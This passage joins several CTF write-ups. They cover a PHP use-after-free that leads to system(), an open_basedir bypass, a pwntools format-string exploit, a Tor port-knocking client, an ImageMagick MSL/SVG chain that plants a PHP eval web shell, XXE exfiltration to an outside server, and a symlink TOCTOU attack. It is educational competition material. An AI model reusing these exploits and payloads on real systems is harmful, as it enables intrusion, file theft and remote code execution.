appears to be suitable. Its internal representation is 40 bytes long.
So substituting the chosen value into the plan above, we have the following:
ZipArchive
open a file with 40-byte filename and then immediately try to open /etc/passwd
as ZIP (it fails). The ze_obj->filename
is freed, but the pointer to it remains in the struct.$memory_view
). Its internal representation is 32 + 8 = 40 byte structure which will be allocated in the same memory ze_obj->filename
points to.$archive->open("/etc/passwd")
again to free the said memory.StdClass
. It will allocate 40 byte internal representation which again will be allocated in the same place. During its initialization, it will corrupt $memory_view
’s length making it very big.Now we can read and write the whole region of PHP heap after the struct holding $memory_view
string.
It is universally recognized that the best thing to edit in memory is the address of a function which is then called with an argument under your control, and the best new value for it is the address of system
. There are plenty of objects that hold callback addresses in PHP. We’ve chosen _php_conv
object.
It is an internal representation of a php filter which is constructed when you open a php://filter
file. It contains two fields: address of convert callback and address of destructor. The destructor is called when we call fclose
for the file. Its only argument is the pointer to _php_conv
object itself.
That means that as long as we don’t use the convert callback (we never read from the file), we can just overwrite it with a command, and then we overwrite destructor with the address of libc’s system
function. When the destructor is called the pointer _php_conv
object will be interpreted as char*
and the command will be executed.
Note that the size of a pointer is 8 bytes so we have only 7 bytes for our command (plus one terminating zero byte). It looks too small, but we can create files in the /tmp/
directory. We just create /tmp/xx
, put our payload there (after #!/bin/sh
) and then chmod it allowing it to be executed. All these can be done using corresponding PHP functions, and none of them are restricted.
So what we do after we have huge $memory_view
string is this:
$f = fopen("php://filter/convert.base64-decode/resource=/etc/passwd");
and _php_conv
is created somewhere in the PHP’s heap.libphp8.so
(it is the library where all PHP interpreter’s code lies). When we find it, we assume that we’ve found the _php_conv
object./tmp/xx
instead of the first pointer (unneeded convert callback) and change the second pointer (which is destructor) to address of system
.fclose($f),
and the destructor is called. As we changed its address to system
, the command is executed.To follow the plan above, we need two things:
libphp8.so
so we can detect the filter’s struct in the memory.libc.so
so we can get the address of system
.To get these addresses, we need to read /proc/self/maps
file, which contains the whole memory layout of the process.
It looks like we’re back to web exploitation. Bypass a PHP restriction and read a local file, what can be sweeter!
Well, one thing that is even more joyful for my script kiddie’s heart is that to achieve this goal we need just to copy-paste a ready-made exploit from one of the past competitions (namely TCTF finals). Here it is:
function bypass_openbasedir() {
chdir("/tmp");
mkdir("posos");
chdir("posos");
ini_set("open_basedir", "..");
ini_get("open_basedir");
chdir("..");
chdir("..");
ini_set("open_basedir", "/");
if (ini_get("open_basedir") != "/") die("open_basedir bypass failed");
}
Let’s go through this function.
/tmp
. It is allowed as /tmp
is contained in initial open_basedir
value (which is /tmp:/var/www/html
).posos
and go inside it, which is still totally legitimate.open_basedir
setting to ..
. One can change open_basedir
in runtime as long as the new value is more restrictive than the old one (not less restrictive to be exact). In this case PHP thinks like “Well, currently open_basedir
is /tmp:/var/www/html
and new value is ..
which resolves to /tmp
. The new value doesn’t allow new things to be accessed, so I accept it”. Poor creature.chdir("..")
twice. Both times PHP thinks like “open_basedir
is equal to ..
and new path ..
is under it, so allow”. Now our current directory is /
.open_basedir
again, to /
. As it was ..
and our current directory is /
PHP accepts it again.So open_basedir
bypassed, and now we can read any file we please.
Now we have all we need to build our exploit.
open_basedir
using the function above./proc/self/maps
and get address ranges of libc and libphp, defeating ASLR. Then we calculate the offset of the system
function inside libc
and store it into a variable./tmp/xx
file and run chmod on it.ZipArchive
instance, open a file with a 40-byte name and then immediately try to open an invalid ZIP archive, resulting in efree
being called for the file name. We put an 8-character PHP string in the $memory_view
variable and then again try to open an invalid archive. After that we call new StdClass()
and it is allocated in the same memory. The string $memory_view
has an insanely huge length now, allowing us to read and write PHP heap.$f = fopen("php://filter/convert.base64-decode/resource=/etc/passwd");
and _php_conv
is created. We use the $memory_view
variable to find it in memory — that is, to find two successive addresses from the libphp address range we obtained earlier.fclose($f)
and destructor is called. This results in our script /tmp/xx
being executed./readflag
. It gives us a simple challenge we need to solve, and then it prints the flag.The exploit can be found at https://gist.github.com/neex/13378d0e7e9f9ab0cff9d9039178d15f.
]]>alloca
which allows one to cross the gap between stack and libraries.
The gist of the main
function is as follows:
char buf[256];
my_printf("What's your name?");
v5 = read(0, buf, 0x100uLL);
buf[v5 - 1] = 0;
for (i = 0; i < v5 - 1; ++i) {
if (!isprint(buf[i]))
_exit(1);
}
my_printf("Hi, ");
my_printf(buf);
my_printf("Do you leave a comment?");
buf[(signed int)((unsigned __int64)read(0, buf, 0x100uLL) - 1)] = 0;
my_printf(buf);
So printf
is called twice with fully controllable format argument. The first time the string is restricted to printable characters, and the second time there’re no restrictions.
Any CTF veteran knows that it looks like a classic format string bug, which are now relatively rare compared to heap tasks :).
Obviously, you can leak stack variables using the %lx|%lx|%lx|...
format string. That defeats ASLR of stack, libc and binary itself.
However, the printf
implementation is custom. It lacks %n
specifier, and have some unusual bugs instead.
It prints the string in two passes. In the first pass, it calculates the string length, and allocates the buffer with alloca
. During the second pass, the data is printed to the buffer, and then the buffer is written out with puts
.
The bug is that the argument of alloca
is unchecked. alloca
compiles to sub rsp, rax
without any checks whatsoever. We can’t make the length negative, as it’s thoroughly checked. But by specifying large width (e.g. %980794739896d
) we can make it very large so the stack pointer crosses the unmapped gap between the stack and libc.
This might seem to be non-exploitable, as the function will crash when attempting to fill the entire gap between libc and stack with data. Not to mention that it will corrupt much more data than we want during the write to libc.
Fortunately, the implemenation of width specifier is buggy, as it effectively ignored during the second pass:
v27 = number_of_digits(&fmt_[i_fmt]);
i_fmt += v27;
v55.width = my_atoi(&fmt_[i_fmt]);
Here i_fmt
should’ve been incremented after the atoi
. The way it’s written, however, the string that follows the width is interpreted as integer instead. What follows the integer is not an integer, so atoi
returns zero.
How to exploit this, though?
The glibc is Ubuntu GLIBC 2.29-0ubuntu2, which corresponds to Ubuntu 19.04, which is very new.
So there’s no easy way to overwrite things like atexit
handlers, stdout virtual table, etc., as they’re either mangled or checked.
For example, here’s IO table being write-protected on my system:
pwndbg> p ((struct _IO_FILE_plus*)stdout)->vtable
$8 = (const struct _IO_jump_t *) 0x7ffff7dcd360 <_IO_file_jumps>
pwndbg> p _IO_file_jumps
$9 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7a8aba0 <_IO_new_file_finish>,
__overflow = 0x7ffff7a8b700 <_IO_new_file_overflow>,
__underflow = 0x7ffff7a8b400 <_IO_new_file_underflow>,
__uflow = 0x7ffff7a8c8e0 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a8e0e0 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7a8a6e0 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7a8a200 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7a899e0 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7a8cd60 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a89140 <_IO_new_file_setbuf>,
__sync = 0x7ffff7a88fe0 <_IO_new_file_sync>,
__doallocate = 0x7ffff7a7b9a0 <__GI__IO_file_doallocate>,
__read = 0x7ffff7a8a680 <__GI__IO_file_read>,
__write = 0x7ffff7a89ff0 <_IO_new_file_write>,
__seek = 0x7ffff7a89680 <__GI__IO_file_seek>,
__close = 0x7ffff7a89100 <__GI__IO_file_close>,
__stat = 0x7ffff7a89fb0 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7a8e340 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a8e380 <_IO_default_imbue>
}
pwndbg> vmmap 0x7ffff7dcd360
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffff7dcc000 0x7ffff7dd0000 r--p 4000 1c2000 /lib64/libc-2.29.so
But let’s re-check the binary provided with the task, just in case:
pwndbg> p &_IO_file_jumps
$1 = (<data variable, no debug info> *) 0x7ffff7fc0560 <_IO_file_jumps>
pwndbg> vmmap 0x7ffff7fc0560
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffff7fbe000 0x7ffff7fc1000 rw-p 3000 1e3000 /home/wgh/ctf/tokyowesterns2019/printf/libc.so.6
Wait, what, what, what? Why is default FILE *
vtable is writable here? This’s supposed to be fixed a long time ago. Honestly, I have no idea why it happened. The checksum corresponds to the correct Ubuntu package, we’re not dealing with custom build glibc. I don’t have an answer.
Anyway, we can overwrite some stdout function pointers and gain RIP control when puts
is called. As usual, one-gadget-RCE can be employed.
The exploit is somewhat unstable locally, but works better when run against the remote server (probably due to different stack layout regarding environment variables, as it happens relatively often).
#!/usr/bin/env python2
from __future__ import print_function
from pwn import *
LOCAL = False
#LOCAL = True
context.binary = "./printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4"
context.log_level = "debug"
libc_start_main_leak_offset = 7019 + 0x25000
libc_filejumps_underflow_offset = 9600
libc = ELF("libc.so.6")
if LOCAL:
p = process(["./ld-linux-x86-64.so.2", "--library-path", ".", "./printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4"])
else:
p = remote("printf.chal.ctf.westerns.tokyo", 10001)
def get_payload1():
res = " ".join("%lx" for _ in xrange(64))
assert len(res) <= 255
return res
p.recvuntil("What's your name?")
p.sendline(get_payload1())
p.recvuntil("Hi, ")
leaks = p.recvuntil("Do you leave a comment?", drop=True)
leaks = [int(x, 16) for x in leaks.split()]
offset_info = {
40: "main (canary)",
41: "main (RBP)",
42: "main RA (__libc_start_main)",
}
for i, addr in enumerate(leaks):
extra = ""
if i in offset_info:
extra = " %s" % offset_info[i]
log.info("%d: 0x%016x%s", i, addr, extra)
leaked_canary = leaks[40]
leaked_libc = leaks[42] - libc_start_main_leak_offset
main_buf = leaks[39] - 496 + 8
log.info("canary: 0x%016x", leaked_canary)
log.info("libc base: 0x%016x", leaked_libc)
log.info("main_buf: 0x%016x", main_buf)
#gdb.attach(p, """
# breakrva 0x1C85 printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4
# breakrva 0x1C97 printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4
#
# b system
#""")
desired_address = leaked_libc + 0x1e6588 - 0x10
one_gadget = leaked_libc + 0x106ef8
#one_gadget = leaked_libc + libc.sym["system"]
log.info("one_gadget=0x%016x", one_gadget)
payload = b""
payload += "%{}d".format(main_buf - 416 - desired_address)
payload += "A" * (0x10-2)
payload += p64(one_gadget).rstrip(b'\0')
log.info("len(payload)=%d", len(payload))
p.sendline(payload)
p.interactive()
The objective of the task was to reverse engineer a port knocking daemon that implements unconventional port knocking algorithm over IPv6, and do the knocking over Tor.
The only thing provided was a file named unknocking.zip
. It contained a file system with a few interesting files:
rootfs/etc/knock.whitelist
contained a list of IPv6 addresses. Upon investigation, it turned out to be a list of known Tor exit nodes.rootfs/etc/network/interfaces
had public IPv6 address statically configured.rootfs/srv/server
was a binary executable file, which we will analyze shortly.The binary used a well-known libpcap
library to capture network traffic.
When you run tcpdump
, you can specify filter program in pcap filter language. What makes it efficient is that the program specified is compiled into BPF bytecode, and then passed into kernel. The kernel interprets the bytecode, and wakes the userspace program up only when a packet matching the filter comes. This minimizes both context switches and kernel-userspace copies.
In this program, however, the filter was embedded into program binary as bytecode, so we had to reverse engineer it as well.
To our surprise, we did not find an easy way to correctly disassemble BPF filter for network packets during the CTF and it took us rather long to understand what it does. We tried BPF disassembler added to latest versions of Capstone, but for some reason it could not disassemble some instructions (it was stopping on the first instruction it could not handle). We also tried a disassembler for seccomp BPF, it worked, but it’s output is not very good for analyzing packet filter - for example, it showed two return
s instructions at the end of the filter as both ret KILL
whereas first of them actually accepted a packet (ret 0x80
) and second one dropped it (ret 0x0
). (Also, and X
and sub X
were for some reason shown as and 0x0
and sub 0x0
). At the end we used a compilation of outputs given by these two.
Apparently, this bytecode was generated by some suboptimal compiler, as there’s quite a few redundant and unreachable instructions. Basically, this bytecode accepts IPv6 packets destined to aaaa:bbbb:cccc:dddd:eeee:ffff:7777:3333
(this address is replaced with real local host address before applying the filter), destination TCP port 443
, and SYN
flag set.
line OP JT JF K
=================================
; check EtherType == 0x86dd (IPv6)
0x00: 0x28 0x00 0x00 0x0000000c ldh $data[0xc]
0x01: 0x15 0x00 0x2d 0x000086dd jeq 0x86dd true:0x2 false:LABEL_ZERO
; check EtherType == 0x86dd (IPv6) (again)
0x02: 0x28 0x00 0x00 0x0000000c ldh $data[0xc]
0x03: 0x15 0x00 0x2b 0x000086dd jeq 0x86dd true:0x4 false:LABEL_ZERO
; check IPv6 destination, first word
0x04: 0x20 0x00 0x00 0x00000026 ld $data[0x26]
0x05: 0x15 0x00 0x29 0xaaaabbbb jeq 0xaaaabbbb true:0x6 false:LABEL_ZERO
; check IPv6 destination, second word
0x06: 0x20 0x00 0x00 0x0000002a ld $data[0x2a]
0x07: 0x15 0x00 0x27 0xccccdddd jeq 0xccccdddd true:0x8 false:LABEL_ZERO
; check IPv6 destination, third word
0x08: 0x20 0x00 0x00 0x0000002e ld $data[0x2e]
0x09: 0x15 0x00 0x25 0xeeeeffff jeq 0xeeeeffff true:0xa false:LABEL_ZERO
; check IPv6 destination, fourth word
0x0a: 0x20 0x00 0x00 0x00000032 ld $data[0x32]
0x0b: 0x15 0x00 0x23 0x77773333 jeq 0x77773333 true:0xc false:LABEL_ZERO
; check EtherType == 0x86dd (IPv6) (again)
0x0c: 0x28 0x00 0x00 0x0000000c ldh $data[0xc]
0x0d: 0x15 0x00 0x04 0x000086dd jeq 0x86dd true:0xe false:0x12
; check Next Header == 0x6 (TCP)
0x0e: 0x30 0x00 0x00 0x00000014 ldb $data[0x14]
0x0f: 0x15 0x00 0x02 0x00000006 jeq 0x6 true:0x10 false:0x12
; check TCP destination port == 443
0x10: 0x28 0x00 0x00 0x00000038 ldh $data[0x38]
0x11: 0x15 0x09 0x00 0x000001bb jeq 0x1bb true:0x1b false:0x12
; check EtherType == 0x800 (IPv4)
0x12: 0x28 0x00 0x00 0x0000000c ldh $data[0xc]
0x13: 0x15 0x00 0x1b 0x00000800 jeq 0x800 true:0x14 false:LABEL_ZERO
; check IPv4 Protocol == 0x6 (TCP)
0x14: 0x30 0x00 0x00 0x00000017 ldb $data[0x17]
0x15: 0x15 0x00 0x19 0x00000006 jeq 0x6 true:0x16 false:LABEL_ZERO
; check IPv4 fragment offset == 0
0x16: 0x28 0x00 0x00 0x00000014 ldh $data[0x14]
0x17: 0x45 0x17 0x00 0x00001fff jset 0x1fff true:LABEL_ZERO false:0x18
; X = IHL
0x18: 0xb1 0x00 0x00 0x0000000e ldx 4 * $data[0xe] & 0x0f
; check TCP destination port == 443
0x19: 0x48 0x00 0x00 0x00000010 ldh $data[X + 0x10]
0x1a: 0x15 0x00 0x14 0x000001bb jeq 0x1bb true:0x1b false:LABEL_ZERO
; check EtherType == 0x86dd (IPv6) (again)
0x1b: 0x28 0x00 0x00 0x0000000c ldh $data[0xc]
0x1c: 0x15 0x00 0x12 0x000086dd jeq 0x86dd true:0x1d false:LABEL_ZERO
; calculate offset of tcp flags in packet
0x1d: 0x00 0x00 0x00 0x00000035 ld 0x35
0x1e: 0x02 0x00 0x00 0x00000000 st $temp[0x0]
0x1f: 0x61 0x00 0x00 0x00000000 ldx $temp[0x0]
; load byte at offset 0x35 + 0xe = 0x43 (tcp flags) into A
0x20: 0x50 0x00 0x00 0x0000000e ldb $data[X + 0xe]
0x21: 0x02 0x00 0x00 0x00000001 st $temp[0x1]
0x22: 0x00 0x00 0x00 0x00000002 ld 0x2
0x23: 0x02 0x00 0x00 0x00000002 st $temp[0x2]
0x24: 0x61 0x00 0x00 0x00000002 ldx $temp[0x2]
0x25: 0x60 0x00 0x00 0x00000001 ld $temp[0x1]
; take tcp flags by mask 2: get value of SYN flag
0x26: 0x5c 0x00 0x00 0x00000000 and X
0x27: 0x02 0x00 0x00 0x00000002 st $temp[0x2]
0x28: 0x00 0x00 0x00 0x00000000 ld 0x0
0x29: 0x02 0x00 0x00 0x00000003 st $temp[0x3]
0x2a: 0x61 0x00 0x00 0x00000003 ldx $temp[0x3]
0x2b: 0x60 0x00 0x00 0x00000002 ld $temp[0x2]
0x2c: 0x1c 0x00 0x00 0x00000000 sub X
; check that SYN flag is set
0x2d: 0x15 0x01 0x00 0x00000000 jeq 0x0 true:LABEL_ZERO false:0x2e
0x2e: 0x06 0x00 0x00 0x00000080 ret 0x80
LABEL_ZERO:
0x2f: 0x06 0x00 0x00 0x00000000 ret 0
Packets that pass the filter go straight to the handler which was passed to pcap_loop
function. This handler contains lots of STL code which boils down to pretty simple algorithm. Essentialy, the program associates a remote host with a string, and when you connect to new port p
it adds a character "0123456789abcdef"[(P >> 8) & 0xF]
to this string. If string is equal to secretPhrase
(which is 24 characters long) then you get a flag; if string is not a prefix of secretPhrase
it resets to empty one; same thing happens if more than 30 seconds passed since last packet from you.
Oh well, another small detail: your host must appear in knock.whitelist
, which, as mentioned above, is a list of IPv6-enabled Tor exit nodes. It means you need to perform this “port knocking authorization” over Tor using IPv6.
Usually port knocking means that in order to connect to some protected port (say, SSH port 22), you have to try to connect to some ports of the remote machine in specific sequence.
In this task, however, the port knocking daemon checks the source port of connection attempts instead. The third nibbles of connection attempts to port 443 must form a certain secret sequence. For example, if secret sequence were 1337
, you must choose source ports, in order, 0xn1nn
, 0xn3nn
, 0xn3nn
, 0xn7nn
.
If you connect using incorrect source port, you receive connection reset, and must start the sequence anew. If the source port is correct, the connection will succeed, and you will either got nothing (if it wasn’t the last element of the sequence), or the flag.
To sum up, you have to connect to server 24 times, from source ports with specific values - each time the third nibble of port number should have a certain value. A single connection from a port with incorrect third nibble resets the sequence as well as failing to make next connection within 30 seconds since the previous one.
It it weren’t for Tor, things would be very easy. Although operating systems usually choose source port for outgoing connections arbitrarily, one can easily force any free port by calling bind()
before connect()
.
However, since we have to do the knocking through Tor, we can’t ask the exit node to bind the port we want before connecting. We have to somehow abuse the algorithm that allocates port numbers to get the desired port sequence.
We assumed that the source port are allocated sequentially, using some global counter. Expirements confirmed this behaviour:
>>> for i in range(4):
... print(socket.create_connection(("ya.ru", 80)).getsockname())
...
('10.0.0.50', 47268)
('10.0.0.50', 47270)
('10.0.0.50', 47272)
('10.0.0.50', 47274)
It’s only half of the trouble, though.
First, we don’t know the current counter value of the Tor node. Second, other activity on the said node may cause the counter to advance very fast, skipping the desired value.
To solve these problems, we wrote a program that binds some port, and connects through Tor back to it, revealing current ephemeral port value of current Tor exit node. It does so in a loop, checking whether current nibble matches the next one of the secret sequence. If it does, we connect to the machine with the flag, and repeat the same with the next nibble.
It wasn’t as simple, though. We noticed that the first exit node we got apparently had some heavy activity, and source ports were skipping too fast.
Changing exit node is simple: you can use Tor’s IsolateSOCKSAuth
, and connect to local SOCKS proxy using different passwords, and Tor will build different circuits. You can also use ExitNodes
config directive to force specific exit node.
After going through some unsuitable exit nodes with unpredictable sequences, tuning the algorithm a bit, we got the flag.
The exit node we used was ACDD9E85A05B127BA010466C13C8C47212E8A38F.
package main
import (
"flag"
"fmt"
"io"
"log"
"net"
"os"
"strconv"
"time"
"golang.org/x/net/proxy"
)
const secret = "4f70334e5f73337a344d3321"
func getLocalAddr() string {
sock, err := net.Dial("udp6", "[2000::1]:148")
if err != nil {
log.Fatal(err)
}
defer sock.Close()
host, _, _ := net.SplitHostPort(sock.LocalAddr().String())
return host
}
func prinimatel(ch chan string) net.Addr {
ln, err := net.Listen("tcp6", net.JoinHostPort(getLocalAddr(), "0"))
if err != nil {
log.Fatal(err)
}
go func() {
for {
conn, err := ln.Accept()
if err != nil {
log.Fatal(err)
}
ch <- conn.RemoteAddr().String()
conn.Close()
}
}()
return ln.Addr()
}
func getCurrentNibble(d proxy.Dialer, addr net.Addr, ch chan string) (uint64, uint64) {
c, err := d.Dial(addr.Network(), addr.String())
if err != nil {
log.Fatal(err)
}
defer c.Close()
remoteAddr := <-ch
_, port, _ := net.SplitHostPort(remoteAddr)
u, _ := strconv.ParseUint(port, 10, 16)
log.Printf("port 0x%x (%s)", u, remoteAddr)
return (u >> 8) & 0xF, (u & 0xFF)
}
func tryConnect(d proxy.Dialer) {
const target = "[2a05:f480:1800:ba7:5400:2ff:fe2f:b33b]:443"
//const target = "[2a01:4f8:c2c:75e0::1]:443"
conn, err := d.Dial("tcp6", target)
if err != nil {
log.Fatal(err)
return
}
defer conn.Close()
if err := conn.SetDeadline(time.Now().Add(time.Second * 1)); err != nil {
log.Fatal(err)
}
if _, err := io.Copy(os.Stdin, conn); err != nil {
log.Print(err)
}
}
func main() {
var seed = flag.String("seed", fmt.Sprintf("%d", os.Getpid()), "Seed")
flag.Parse()
log.Printf("Using seed %q", *seed)
auth := &proxy.Auth{
User: "tor",
Password: *seed,
}
tor, err := proxy.SOCKS5("tcp", "127.0.0.1:9050", auth, nil)
if err != nil {
log.Fatal(err)
}
ch := make(chan string)
prinimatelAddr := prinimatel(ch)
for i := 0; i < len(secret); i++ {
targetNibble, _ := strconv.ParseUint(secret[i:i+1], 16, 8)
log.Printf("waiting for %x", targetNibble)
for {
log.Printf(" i=%d s=%s", i, secret[i:i+1])
currentNibble, rem := getCurrentNibble(tor, prinimatelAddr, ch)
if currentNibble == targetNibble && rem < 0xf0 {
break
}
for i := uint64(0); i < (targetNibble-currentNibble)%16; i++ {
go getCurrentNibble(tor, prinimatelAddr, ch)
}
}
tryConnect(tor)
}
}
The official write-up mentioned that there was an obstacle that Linux uses different source port offset for different destinations. Indeed, it can be observed even for different ports of the same destination IP:
>>> print(socket.create_connection(("ya.ru", 80)).getsockname())
('10.0.0.75', 53372)
>>> print(socket.create_connection(("ya.ru", 443)).getsockname())
('10.0.0.75', 60286)
>>> print(socket.create_connection(("ya.ru", 80)).getsockname())
('10.0.0.75', 53376)
>>> print(socket.create_connection(("ya.ru", 443)).getsockname())
('10.0.0.75', 60290)
But we didn’t take it into account and didn’t even know about it until after we saw the official write up.
How so? We got curious, and investigated a bit.
It turned out the exit node we chose was running FreeBSD, which doesn’t do hash based source port randomization.
]]>The challenge is an image storage service implemented as a PHP script. The source can be retrieved via a hidden link on the main page (it leads to /?action=src
). The script is running inside Apache.
When an image file is uploaded it goes through the following steps:
mime_content_type
. This function must return one of image/gif
, image/png
, image/jpeg
and image/svg+xml
.image/png
or image/jpeg
, the file goes to getimagesize
and must return correct value. Otherwise, it goes to DOMDocument->loadXML
and must not fail.convert
is executed on the file to generate a thumbnail. It must return zero status.upload
subdirectory in the webroot. The extension is set based on the mime type from step one (so trivial png_with_a_shell_inside.php
would not work).If one of the steps above fails, the rest is not executed. If the processing succeeds, you can get the full path to the image via listing on the index page.
The task had more stuff which left unused by our solution. There was a class begging for unserialize, XXE which allowed local file read and information leak via phpinfo()
. The whole source can be found here.
The way site parsed SVG for validation was vulnerable to a classic XXE.
$xmlfile = file_get_contents($file);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$svg = simplexml_import_dom($dom);
This configuration allows external entities and external DTD. Exploiting it was not required for solving the task, but we used it in information gathering stage, one of the main goals during it was to get ImageMagick config /etc/ImageMagick-6/policy.xml
to find out what can we use in exploit against ImageMagick. We used a standard out-of-band exfiltration technique to steal files - we sent this SVG:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT svg ANY >
<!ENTITY % remote SYSTEM "http://bushwhackers.ru:8003/ev.xml" >
%remote;%template;
]><svg>&res;</svg>
Which included XML ev.xml
from our server which looked like this
<!ENTITY % secret SYSTEM "THING_TO_STEAL" >
<!ENTITY % template "<!ENTITY res SYSTEM 'http://bushwhackers.ru:8003/a?%secret;'>">
Few complications we faced were that SimpleXML in PHP is rather strict and won’t open URLs with “bad” characters. We solved that by using PHP URL wrapper convert.base64-encode
to base64-encode file contents. Another problem was that it did not allow too large URLs (and aforementioned ImageMagick config was too large). PHP wrappers again helped us - it turned out we can use zlib.deflate
to compress file contents. So our final ev.xml
used to steal policy.xml
looked like this
<!ENTITY % secret SYSTEM "php://filter/convert.base64-encode/resource=php://filter/zlib.deflate/resource=file:///etc/ImageMagick-6/policy.xml" >
<!ENTITY % template "<!ENTITY res SYSTEM 'http://bushwhackers.ru:8003/a?%secret;'>">
There’re several ImageMagick vectors we’ve combined to get RCE:
href
attribute like <format>:<path>
into an SVG and ImageMagick will try to parse the path as if it was of the format you specified. For example the text
(pseudo)format just prints a file as text, so this svg:<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="text:/etc/passwd" />
</svg>
generates small /etc/passwd
:
php
file extension of course). Even more convenient for this case, the format is XML-based. An MSL file looks like this:<image> <!-- ImageMagick's legend is "image processing" so the tag is named "image". -->
<read filename="image.png" /> <!-- To make the legend more compelling "image.png" is checked to be a valid image file. -->
<write filename="/var/www/html/shell.php" /> <!-- This line gives access to a hacker accomplishing the mission of the MSL format and ImageMagick in general -->
</image>
This format is not autodetected by the signature so we cannot just upload it. However, we can use SVG: if we place an MSL file in some known location we can just put href="msl:/path/to/file.msl"
into the SVG example above and the web shell will be copied.
So to solve the challenge we need to put an MSL file somewhere on the server and get the path to it.
We tried to use phpinfo + slow response read for retrieving the path to /tmp/phpXXXXXX
temp file before it gets deleted, but this trick didn’t work in the environment of the task.
<?xml version="1.0" encoding="UTF-8" ?>
<!-- <svg> -->
<image>
<read filename="image.png" />
<write filename="/var/www/shell.php" />
<svg width="120px" height="120px">
<image href="image.png" />
</svg>
</image>
There are some interesting things about this file:
<svg>
inside the comment on the second line, mime_content_type
will detect the file as image/svg+xml.convert msl:file zalupa.png
the MSL instructions are executed (that is, image.png
is moved to /var/www/shell.php
).convert file zalupa.png
) it is parsed as an SVG. ImageMagick doesn’t care about the fact that the svg
tag is not the first one, it just wants it somewhere. Another thing to note is the internal image
tag (<image href="image.png" />
). It is invalid for MSL, however, if we hadn’t added it, ImageMagick would have tried to parse the external image
tag in the SVG (and fail, as it doesn’t have href
attribute). But if there’s a fake internal image
tag ImageMagick forgets about the invalid one.Let’s put all the pieces together.
First, we upload a png that includes a php shell in the comment (create it by convert -size 100x100 -comment '<?php eval($_GET["cmd"]); ?>' rgba:/dev/urandom[0] shell.png
). It is successfully processed and the index page will show the path to it. Assume it is upload/<hash>/<image>.png
, so the local path is /var/www/html/upload/<hash>/<image>.png
.
We upload our polymorph:
<?xml version="1.0" encoding="UTF-8" ?>
<!-- <svg> -->
<image>
<read filename="/var/www/html/upload/<hash>/<image>.png" />
<write filename="/var/www/html/upload/shell_huihui.php" />
<svg width="120px" height="120px">
<image href="/var/www/html/upload/<hash>/<image>.png" />
</svg>
</image>
It is successfully processed (as an SVG). Again, we can get the full path via the index page. Let’s say it’s /var/www/html/upload/<hash>/<image2>.svg
.
<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="msl:/var/www/html/upload/<hash>/<image2>.svg" />
</svg>
It passes the mime_content_type
and DOMDocument->loadXML
checks so convert
is executed on the file. It will fail after discovering invalid MSL instructions. However, the web shell will be already moved to the webroot.
The gist is it provided a compilation service over an asynchronous binary protocol. User can upload files, run arbitrary commands, and fetch files.
I solved both parts of the task using TOCTOU symlink attack, which is likely an unintended solution. The unmodified exploit written for the first part worked for the second one.
The following commands are available:
(filename, file_contents)
. The server creates a temporary build directory, puts all the files in there, and runs a command. For example, you can send a set of C sources, and run gcc main.c
. You can also run just compiled binary as well: gcc main.c && ./a.out
.The server asynchronously sends events to the client as well:
The admin panel binary asks for a password, and if it’s correct, opens a flag and returns it. The password is stored in hashed form, so it’s unlikely it can be recovered. Besides, remote server binary might have had a different password than the one in attached sources.
The build process runs in a sandbox under one of the sandbox-runner-0
..sandbox-runner-7
users which lacks permissions to read the flag, so you can’t submit and run binary reading the flag.
The Fetch command, however, runs under root user without impersonating the sandbox user. But it has a realpath
-based check that ensured that the file path resolves to a path in build directory, preventing absolute paths, path traversals and symlink attacks (spoiler: not quite).
Additionally, the server is asynchronous, and can execute Fetch when Build is running.
Let’s take a closer look at Fetch command implementation.
std::unique_ptr<char> real_path(realpath((dir + file).c_str(), nullptr));
if (string(real_path.get()).substr(0, dir.size()) != dir) {
SendServerError(string("Filenames must point to within the working directory, ") + dir +
string(". Attempted to fetch file with absolute path ") + real_path.get());
return;
}
ifstream infile(real_path.get());
if (!infile.is_open()) {
SendServerError(string("Failed to open file ") + real_path.get() +
string(": ") + strerror(errno));
}
string body = ReadFile(infile);
Although this code attempts to resolve symlinks to prevent symlink attacks, imagine what happens if regular file becomes a symlink after the check, but before opening the file. It will happily open a symlink. A classic TOCTOU bug.
We can abuse the asynchronous behaviour of the server by sending a code that repeatedly exchanges regular file with symlink, and while it’s running, trying to execute the Fetch command.
The exploit uses two files in the build directory:
f1
- a regular file.f2
- a symlink to the flag file.By repeatedly swapping f1
and f2
, there can be three outcomes:
f1
-> /home/user/flag
at the time of check. You’ll get Filenames must point to within the working directory, /home/user/builds/build-workdir-HoQhea/. Attempted to fetch file with absolute path /home/user/flag
error.f1
(regular file) at the both time of check and time of use. The fetch will return its contents.f1
(regular file) at the time of check, but f1
-> /home/user/flag
at the time of use. The check will pass, but fetch will return the contents of the flag.f2
file is not strictly necessary, as you can just repeatedly recreate f1
file. However, in order to improve exploit efficiency, I used atomic replace (renameat2(AT_FDCWD, "f1", AT_FDCWD, "f2", RENAME_EXCHANGE)
) to eliminate window where file is unavailable (which would crash the server). Although renameat2
and RENAME_EXCHANGE
are unavailable in glibc shipped with Ubuntu 16.04, the kernel has them, and can be easily reached with raw syscall interface.
The server still occasionally crashes when symlink becomes a file during realpath
, though:
lstat("/home/user/builds/build-workdir-8Tm4rJ/f1", {st_mode=S_IFLNK|0777, st_size=15, ...}) = 0
readlink("/home/user/builds/build-workdir-8Tm4rJ/f1", 0x7ffec1af4df0, 4095) = -1 EINVAL (Invalid argument)
The intended solution for the first part was that admin binary was to run a suid helper that changed user to admin
